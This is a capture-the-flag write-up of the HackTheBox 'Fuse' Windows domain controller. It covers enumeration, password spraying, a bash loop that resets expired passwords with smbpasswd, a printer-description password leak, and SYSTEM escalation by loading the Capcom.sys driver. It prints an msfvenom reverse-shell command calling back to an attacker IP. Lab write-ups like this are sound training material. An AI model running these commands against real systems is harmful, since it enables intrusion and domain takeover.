Summary
- Fuse is a Windows Domain Controller machine with IIS listening on port 80.
- When checking the website, we get redirected to a certain web page titled “PaperCut Print Logger”.
- On that page, we find the printing activity of some domain users. That gets us an initial list of usernames, workstations and document names.
- One of the documents’ name stuck out:
"Fabricorp01.docx"
which looked like a possible password/password scheme to try. - After spraying that password and others with the same pattern, We find that it was indeed used by 3 of the users. But was expired and had to be changed.
- Using the linux
smbpassswd
utility, we were able to change passwords and gain access. But neither of the users had WinRM capability or valuable findings in their SMB shares. - However, after doing a
Bloodhound
collection and inspecting the output, we notice that there’s a potential path to Domain Administrator if we compromise thesvc-print
account. That’s because it has PowerShell Remoting access and is a member of the Print Operators AD group which hold the dangerousSeLoadDriver
privilege. - Following the findings from
Bloodhound
and the theme of printing which was recurring throughout the machine, we enumerate the printers of the domain to find a password in a printers’ description field. - We run another password spray over all domain users with that password and get access to the
svc-print
account. We use it to gain a remote PowerShell session on the box. - We then abuse its
SeLoadDriverPrivilege
to load a vulnerable driver into the kernel and exploit that to get code execution asNT Authority\System
.
NMAP
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-08-17 10:34:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49754/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-08-17T10:34:56
|_ start_date: 2022-08-17T10:14:17
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_clock-skew: mean: 2h32m59s, deviation: 4h02m30s, median: 12m58s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Fuse
| NetBIOS computer name: FUSE\x00
| Domain name: fabricorp.local
| Forest name: fabricorp.local
| FQDN: Fuse.fabricorp.local
|_ System time: 2022-08-17T03:34:53-07:00
Spotting DNS, kerberos and LDAP is a dead giveaway of the box being a Domain Controller.
Nmap’s version detection and default scripts give us good information:
- The host name is
fuse
- It’s very likely Windows Server 2016
- The domain name is
fabricorp.local
we also know that WSMan is available on port 5985 which is good if we get a user with PowerShell Remoting access.
Let’s start enumeration!
SMB Enumeration
We do the quick standard checks for null, guest and anonymous authentication:
nothing there besides confirming OS version Windows Server 2016 Standard 14393
and knowing the processor architecture: x64
RPC Enumeration
Our favourite RPC enumeration tool enum4linux-ng didn’t yield much more information either.
We note down the Domain SID and move along.
enum4linux-ng.py -A fuse
ENUM4LINUX - next generation
==========================
| Target Information |
==========================
[*] Target ........... fuse
[*] Username ......... ''
[*] Random Username .. 'ujlfkgys'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
============================
| Service Scan on fuse |
============================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
============================================
| Domain Information via LDAP for fuse |
============================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: fabricorp.local
============================================
| NetBIOS Names and Workgroup for fuse |
============================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
=================================
| SMB Dialect Check on fuse |
=================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
SMB 1.0: true
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB1 only: false
Preferred dialect: SMB 3.0
SMB signing required: true
=================================
| RPC Session Check on fuse |
=================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user session
[-] Could not establish random user session: STATUS_LOGON_FAILURE
===========================================
| Domain Information via RPC for fuse |
===========================================
[+] Domain: FABRICORP
[+] SID: S-1-5-21-2633719317-1471316042-3957863514
[+] Host is part of a domain (not a workgroup)
===================================================
| Domain Information via SMB session for fuse |
===================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: FUSE
NetBIOS domain name: FABRICORP
DNS domain: fabricorp.local
FQDN: Fuse.fabricorp.local
=======================================
| OS Information via RPC for fuse |
=======================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows Server 2016 Standard 14393
OS version: '10.0'
OS release: '1607'
OS build: '14393'
Native OS: Windows Server 2016 Standard 14393
Native LAN manager: Windows Server 2016 Standard 6.3
Platform id: null
Server type: null
Server type string: null
=============================
| Users via RPC on fuse |
=============================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED
==============================
| Groups via RPC on fuse |
==============================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED
==============================
| Shares via RPC on fuse |
==============================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user
=================================
| Policies via RPC for fuse |
=================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: STATUS_ACCESS_DENIED
=================================
| Printers via RPC for fuse |
=================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED
Completed after 24.97 seconds
LDAP Enumeration
The same went for LDAP: anonymous bind isn’t enabled :/
The Website
Having cleared away all the quick and simple checks, it’s time to take a look at port 80.
Right off the bat, we get redirected to /papercut/logs/html/index.htm
.
we read the decription to know that live print logs are listed in the table below for us to check.
Checking the first one, we see usernames as well as document and computer names.
We do the same for the 2nd and 3rd log pages.
Our notes:
- Usernames: pmerton, tlavel, bnielson, sthompson, bhult and administrator
- Workstations: JUMP01, LONWK015, LONWK019, LAPTOP07 and of course FUSE
And Document names:
- New Starter - bnielson
- IT Budget Meeting Minutes
- backup_tapes
- mega_mountain_tape_request
- Fabricorp01
- offsite_dr_invocation
- printing_issue_test
All document names seem pretty normal. Except for that Fabricorp01
:D
A gut feeling is telling us: “That’s a password!” XD
And if it wasn’t, it wouldn’t hurt to try Fabricorp02
, Fabricorp03
and so on…
Why not spray?
Before delving into any password attacks, we’re better off verifying the usernames we got. We’re going to use kerbrute for that:
Awesome! every single one of them was valid!
Having a list of valid usernames and another with potential passwords, we get to spraying..
tlavel
, bnielson
and bhult
seem to have that password Fabricorp01
. But it’s expired.
We need to find a way to reset it.
RDP would’ve been nice here. But port 3389 isn’t open :/
After failing to reset the password dusing RPC’s setuserinfo2
command, we do some further research and come across a handy tool called smbpasswd
.
It was built for administering Samba but Let’s take a look at its documentation:
Jackpot! This is exactly what we need. let’s see if it can do the job.
Awesome. We now have more room for enumeration.
Authenticated Information Gathering
Our access is now expanded with 3 users. We can try:
- Pulling the rest of the domain users and going for another
Fabricorp0X
spray. - Enumerating all the SMB share access to check what’s there.
- Checking for WinRM access.
- Doing a Bloodhound collection to see what’s Kerberoastable, what’s ASREPRoastable, who has access to what etc.
And more.
However, there’s an obstacle.
As explained in the image above, something happens after we reset one user’s password. it changes back to what it was.
There’s automation going on. One that resets the password to the initial Fabricorp01
around every minute and requires it to be changed.
To handle this and make our lives easier, we’ll have to come up with automation of our own. Let’s look up the help for the smbpasswd
utility to see what options it offers:
Turns out that, with the help of the -s
flag, we can pass in passwords through stdin
.
the old password + the new one + the confirmation would be fed to smbpasswd
with a new line in between.
minding that a new password must be given every time we do a reset. Because Active Directory -by default- remembers the last 24 passwords you used on a given account. A feature called “Password History”.
So it’s better to have the password as a command line argument for our script.
Here’s what it looks like:
#!/bin/bash
for user in {'tlavel','bnielson','bhult'}; do
echo -e "Fabricorp01\n$1\n$1" | smbpasswd -r fuse -U $user -s
# any command we want to run with the new password before it gets reset
done
we’re targetting all the users there. Let’s check their SMB share access and if they can use WinRM
cme winrm fuse -u $user -p $1
cme smb fuse -u $user -p $1 --shares
The script ran well. However, none of the users had WinRM access and we didn’t find anything valuable in the SMB shares when we checked.
To prepare for a full domain password spray, We modify the script to target only one user and pull all the domain users using crackmapexec
We target all the remaining users with Fabricorp01
through Fabricorp09
but with no success :/
AD Enumeration with Bloodhound
We do a BloodHound
collection from our Kali using Bloodhound.py. But don’t find anything exploitable with any of our owned users.
However, since the number of the users in the domain is relatively small, we inspected everyone up close.
Until we found svc-print
…
This account is our target to take over the domain.
Because it can:
- Gain a remote shell onto the Domain Controller (since it’s part of the “Remote Management Users” group)
- Perform privilege escalation by abusing the
SeLoadDriverPrivilege
(a privilege held by all members of the “Print Operators” group) to load malicious drivers into the kernel.
Right now, all of our attention is directed towards obtaining access to this account.
Printer Enumeration
Since printers have been mentioned way too many times in this machine (the website, SMB shares and in BloodHound), we have to do decent enumeration on them.
We can do that via RPC with a valid account.
Let’s re-run enum4linux-ng
with credentials this time and see what comes up.
A password was there in the description :D
we should’ve redone this part after obtaining those users. Oh well :/
Naturally, we spray that password. To find both svc-print
and svc-scan
using it.
We used evil-winrm to get on the box and ignored svc-scan
since it doesn’t hold any special privileges..
With this access, it’s time for some SeLoadDriverPrivilege
abuse.
Evil Driver Pwnage
The amazing article by Tarlogic Cybersecurity explains the theory and details the steps of exploitation. Give it a read for the full picture.
But, in short, what we’re going to do is:
- Download a vulnerable driver (
Capcom.sys
) here. -And, yes, it’s the game company :D- we’re deliberately using it because it can be exploited for Privesc. - Load it into the kernel with our held privilege using Tarlogic’s EoPLoadDriver tool
- Exploit the driver using the public exploit from Tandasat ExploitCapcom (after making a few modifications to its code).
After downloading Capcom.sys
, we compile the EoPLoadDriver.exe
using Visual Studio
Then modify the ExploitCapcom
code before compiling it to run a reverse shell executable rev.exe
(instead of launching cmd.exe)
And generate the reverse shell using msfvenom
msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.16.3 lport=9000 -f exe > rev.exe
We pack the 4 items into an archive and upload it to the victim
Now locked and loaded, we move rev.exe
back one directory to be in C:\Users\svc-print\Documents
(matching the path specified in the ExploitCapcom.exe
executable)
And proceed to load Capcom.sys
into the writable HKCU:\System\CurrentControlSet
registry path using EoPLoadDriver.exe
and naming it KillerDriver
for dramatic effect XD
With the driver now in the kernel, we exploit it with ExploitCapcom.exe
which runs the rev.exe
to give us a nice reverse shell :D
I guess we blew up a FUSE :P
…
Ahem! It was a good box :D